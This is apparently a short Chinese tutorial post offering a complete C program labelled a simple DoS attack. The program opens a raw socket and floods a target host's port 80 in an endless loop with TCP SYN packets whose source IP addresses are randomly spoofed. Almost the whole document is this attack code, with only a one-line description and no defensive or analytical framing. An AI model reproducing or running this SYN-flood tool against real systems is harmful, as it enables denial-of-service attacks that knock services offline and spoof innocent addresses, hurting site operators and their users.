简单的DOS 攻击举例

这个程序主要是连续不断向要攻击的主机发送TCP数据包

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <string.h>

#define DESTPORT 80     //要攻击的端口
#define LOCALPORT 8888    //本地端口

void send_tcp(int sockfd,struct sockaddr_in *addr);//函数用于发送数据包
int main(int argc,char **argv)
{
    struct sockaddr_in addr;
    int sockfd;
    int val=1;
    //1.输入要攻击的IP
    printf("请输入要攻击的主机地址：\n");
    if(argc!=2){

        fprintf(stderr, "USAGE::%s ip\n", argv[0]);
    }
    //2.设置地址格式
        //2.1 初始化IP地址
    bzero(&addr,sizeof(struct sockaddr_in));
    addr.sin_family=AF_INET;
    addr.sin_port=htons(DESTPORT);
    addr.sin_addr.s_addr=inet_addr(argv[1]);

    //3.使用IPPROTO_TCP创建一个TCP 原始套接字
    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
    if(sockfd==-1) printf("socket error.\n"),exit(-1);
    //4.设置IP 数据报格式告诉系统内核模块IP数据报有我们自己填写
    int r;
    r=setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val));
    //5.调用send_tcp发送数据包
    send_tcp(sockfd,&addr);
    return 0;
}

void send_tcp(int sockfd,struct sockaddr_in *addr)
{
    //1.定义数据包相关数据
    char buf[100];
    struct ip *ip;
    struct tcphdr *tcp;
    int head_len;//IPip数据报长度

    //IPIP数据包没有其他数据，所以长度就是两个结构体大小
    head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
    //2.填充IP 数据报
    ip=(struct ip*)buf;

    ip->ip_v=4;                /* version */
    ip->ip_hl=sizeof(struct ip)>>2;    /* header length???????????????? */
        ip->ip_tos=0;                        /* type of service */
       ip->ip_len=htons(head_len);                        /* total length */
        ip->ip_id=0;                        /* identification */
        ip->ip_off=0;                        /* fragment offset field */
    ip->ip_ttl=MAXTTL;            /* time to live */
        ip->ip_p=IPPROTO_TCP;            /* protocol */
        ip->ip_sum=0;            /* checksum */
        struct in_addr ip_src;
        ip->ip_dst=addr->sin_addr;
        printf("攻击目标地址:%s\n",inet_ntoa(addr->sin_addr));
    //3.填充TCP数据报
    tcp=(struct tcphdr*)(buf+sizeof(struct ip));
    tcp->source=htons(LOCALPORT);
    tcp->dest=addr->sin_port;/**目的端口**/
    tcp->seq=random();//32为序列号
    tcp->ack_seq=0;//32位确认系列号
    tcp->doff=5;
    tcp->syn=1;/**我要建立连接**/
    tcp->check=0;
    //4.循环发送攻击包
    int r;
    while(1){

        ip->ip_src.s_addr=random();//源地址随机产生，欺骗被攻击者
        printf("源地址:%d\n",ip->ip_src.s_addr);
        r=sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr));
        if (r==-1)
        {
            printf("sendto 失败:\n");
            exit(-1);
        }
    }


}